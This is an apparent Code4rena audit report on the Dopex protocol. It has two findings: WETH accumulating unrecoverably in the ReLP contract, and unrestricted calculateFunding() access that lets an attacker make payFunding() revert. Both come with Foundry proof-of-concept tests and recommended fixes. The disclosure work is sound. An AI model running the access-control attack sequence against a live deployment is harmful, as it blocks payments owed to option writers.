Dopex - WoolCentaur's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/reLP/ReLPContract.sol#L290

Vulnerability details

Explanation

In the ReLP contract, there is a process that involves removing assets (rDPX and WETH) from a Uniswap pair, swapping some of the removed WETH for additional rDPX, and then returning back a portion of the removed assets back to the pair. The goal with this is to increase the price of rDPX and while also increasing the Backing Reserve of rDPX. However, a bug lies in how the assets are returned to the Uniswap pair.

WETH accrues in the ReLP contract each time the Relp function is executed due to the use of Uniswap and how it relies on a constant product formula x*y=k. Initially, when calling the ReLP function, a proportional amount of rDPX and WETH are removed from the liquidity pool and sent to the ReLP contract with this call:

(, uint256 amountB) = IUniswapV2Router(addresses.ammRouter).removeLiquidity(

Following this, exactly half of the WETH that was removed is sent back to the liquidity pool and swapped for more rDPX which is then removed from the liquidity pool and transferred to the ReLP contract with this call:

uint256 tokenAAmountOut = IUniswapV2Router(addresses.ammRouter)
      .swapExactTokensForTokens(

Now, the proportion of rDPX and WETH to their token reserves differs from the start of this transaction because rDPX has only been removed thus far while some of the WETH has been added back. When the .addLiquidity is finally executed with this call:

(, , uint256 lp) = IUniswapV2Router(addresses.ammRouter).addLiquidity(
      addresses.tokenA,
      addresses.tokenB,
      tokenAAmountOut,
      amountB / 2,
      0,
      0,
      address(this),
      block.timestamp + 10
    );

It sends back to the liquidity pool the rDPX received from swapping, tokenAAmountOut, and while it was expected to send back the remaining WETH, amountB / 2, it actually sends back what it considers an 'optimal' amount of WETH to maintain the new proportion in hopes of satisfying the constant product formula. The 'optimal' amount is calculated under the hood with UniswapV2Library function quote. It looks like this, where amountA is tokenAAmountOut:

    // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
    function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
        require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
        require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
        amountB = amountA.mul(reserveB) / reserveA;
    }

Consequently, because it sends back to the LP an 'optimal' amount of WETH rather than amountB / 2, some WETH remains in the ReLP contract with no way to be extracted. Over time, the value of this accruing WETH could be substantial.

Impact

As shown in the PoC below, bonding for an amount of 1 (1e18) results in 1022509350514719 wei being stuck in the ReLP contract. The amount of WETH required to bond was 806250000000000000 wei. Currently, according to DefiLlama, Dopex has a TVL of 12,169 ETH. If this amount were to be locked through bonding, then approximately 15 WETH would be locked in the ReLP contract. Even though Dopex did mention that the ReLP process won't occur during every bond and the amount that actually gets locked in the bonding process will vary, the amount of WETH locked in the ReLP contract will only add up.

Proof of Concept

    //Ensure that reLP is set to true
    rdpxV2Core.setIsreLP(true);

    emit log_named_uint("wethBalanceBeforeReLP", weth.balanceOf(address(reLpContract)));
    emit log_named_uint("rdpxBalanceBeforeReLP", rdpx.balanceOf(address(reLpContract)));
    emit log_named_uint("wethBalanceBeforerdpxV2Core", weth.balanceOf(address(rdpxV2Core)));
    emit log_named_uint("rdpxBalanceBeforerdpxV2Core", rdpx.balanceOf(address(rdpxV2Core)));

    //Call the bond function
    vm.prank(address(3));
    rdpxV2Core.bond(1e18, 0, address(3));

    emit log_string("==================================================");

    emit log_named_uint("wethBalanceAfterReLP", weth.balanceOf(address(reLpContract)));
    emit log_named_uint("rdpxBalanceAfterReLP", rdpx.balanceOf(address(reLpContract)));
    emit log_named_uint("wethBalanceAfterrdpxV2Core", weth.balanceOf(address(rdpxV2Core)));
    emit log_named_uint("rdpxBalanceAfterrdpxV2Core", rdpx.balanceOf(address(rdpxV2Core)));

Here are the logs:

Logs:
  wethBalanceBeforeReLP: 0
  rdpxBalanceBeforeReLP: 0
  wethBalanceBeforerdpxV2Core: 9000000000000000000
  rdpxBalanceBeforerdpxV2Core: 40000000000000000000
  ==================================================
  wethBalanceAfterReLP: 1022509350514719
  rdpxBalanceAfterReLP: 0
  wethBalanceAfterrdpxV2Core: 9245000000000000000
  rdpxBalanceAfterrdpxV2Core: 44901794972256267398

As a result of bonding with ReLP being set to true, 1022509350514719 WEI remains in the ReLP contract.

Tools Used

Foundry and manual analysis

Recommended Mitigation Steps

Create a withdrawal function on the ReLP contract to withdraw the accruing Weth to the rdpxV2Core contract.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L409 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L376-L380

Vulnerability details

Description

The docs specifically say The APP contract admin needs to calculate the funding needs to be called for every strike before the epoch ends. However, the lack of access control on calculateFunding() allows any EOA to call the function. If an attacker were to call calculateFunding() before the admin at the start of a new epoch with a valid, soon to be settled, strike price as the parameter, then any future calls on the admin has on payFunding() will revert.

Scenario: For an epoch, there are 5 strike prices: 1e7, 2e7, 3e7, 4e7, and 5e7. The strike price falls below 2e7 but above 1e7. At the start of a new epoch, Alice (attacker) calls calculateFunding() passing in 2e7 as the parameter. Bob (admin) calls settle() to settle all the options that are ITM (2e7, 3e7, 4e7, and 5e7). Bob then calls calculateFunding() on 1e7, to determine how much money to pay to the vault. Following this, Bob calls payFunding(). payFunding() reverts due to this check:

    _validate(
      totalActiveOptions ==
        fundingPaymentsAccountedFor[latestFundingPaymentPointer],
      6
    );

The payFunding() reverts because when Alice called calculateFunding() at the start of the new epoch, it updated the fundingPaymentsAccountFor[] with this:

fundingPaymentsAccountedFor[latestFundingPaymentPointer] += amount;

creating an imbalance between it and the totalActiveOptions.

Impact

The funding from payFunding() is needed to pay writers their share for holding options. This attack directly prevents the core contract from paying the writers.

Proof of Concept

The following test code verifies the vulnerability described above. Create options that will settle ITM.

  function testCalculateFunding() public {
    vault.addToContractWhitelist(address(rdpxV2Core));
    vault.updateFunding();

    //Optionid 0
    rdpxV2Core.bond(1e18, 0, address(this)); //rdpxPrice is 2e7

    skip(1);
    rdpxPriceOracle.updateRdpxPrice(2.5e7);
    //Optionid 1
    rdpxV2Core.bond(1e18, 0, address(this));

Now, create another option that has a strike price low enough it won't settle

    skip(1);
    rdpxPriceOracle.updateRdpxPrice(2.5e6); //Low price. Won't settle
    //Optionid 2
    rdpxV2Core.bond(1e18, 0, address(this));

    uint256 currentPrice = vault.getUnderlyingPrice();
    //strike price of optionid 2
    uint256 strikeNotSettled = vault.roundUp(currentPrice - (currentPrice / 4));

Update price to where another option is ITM and can be settled

    skip(1);
    rdpxPriceOracle.updateRdpxPrice(2.5e7);
    //Optionid 3
    rdpxV2Core.bond(1e18, 0, address(this));

Get the strike price of an option that will be settled to be called by an attacker

    uint256 currentPrice2 = vault.getUnderlyingPrice();
    //this strike will be called by the attacker just before being settled
    uint256[] memory attactStrikeToBeSettled = new uint256[](1);

    //strike price of optionid 3
    uint256 strikeAttack = vault.roundUp(currentPrice2 - (currentPrice2 / 4));
    attactStrikeToBeSettled[0] = strikeAttack;

Skip to the next epoch and update the price so that all but optionid 2 can be settled

    skip(7 days);
    //Set strike price above optionid 2, but below the rest
    rdpxPriceOracle.updateRdpxPrice(2.7e6);

Now, the attacker (EOA) can call calculateFunding with an option that is going to be settled

    vm.prank(address(3), address(3));
    vault.calculateFunding(attactStrikeToBeSettled);

Following the attack, admin settles the options, calculates the funding for the remaining option, and attempts to pay the funding

    uint256[] memory settleOptions = new uint256[](3);
    settleOptions[0] = 0;
    settleOptions[1] = 1;
    settleOptions[2] = 3; //This is the attactStrikeToBeSettled, called by the attacker in calculateFunding
    rdpxV2Core.settle(settleOptions);
    skip(1);

    uint256[] memory settleStrikes = new uint256[](1);

    //Optionid 2.  Was not settled
    settleStrikes[0] = strikeNotSettled;

    vault.calculateFunding(settleStrikes);

    skip(1);

    //Expect revert
    vm.expectRevert(
      abi.encodeWithSelector(
        PerpetualAtlanticVault.PerpetualAtlanticVaultError.selector, 6
      )
    );
    rdpxV2Core.provideFunding();
    }

Here are the logs from running the test, proving that the provideFunding() call reverts successfully.

[PASS] testCalculateFunding() (gas: 2487175)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.34s

Tools Used

Foundry and Manual Analysis

Recommended Mitigation Steps

Add access control to calculateFunding() that only allows the admin to call the function.

Assessed type

Access Control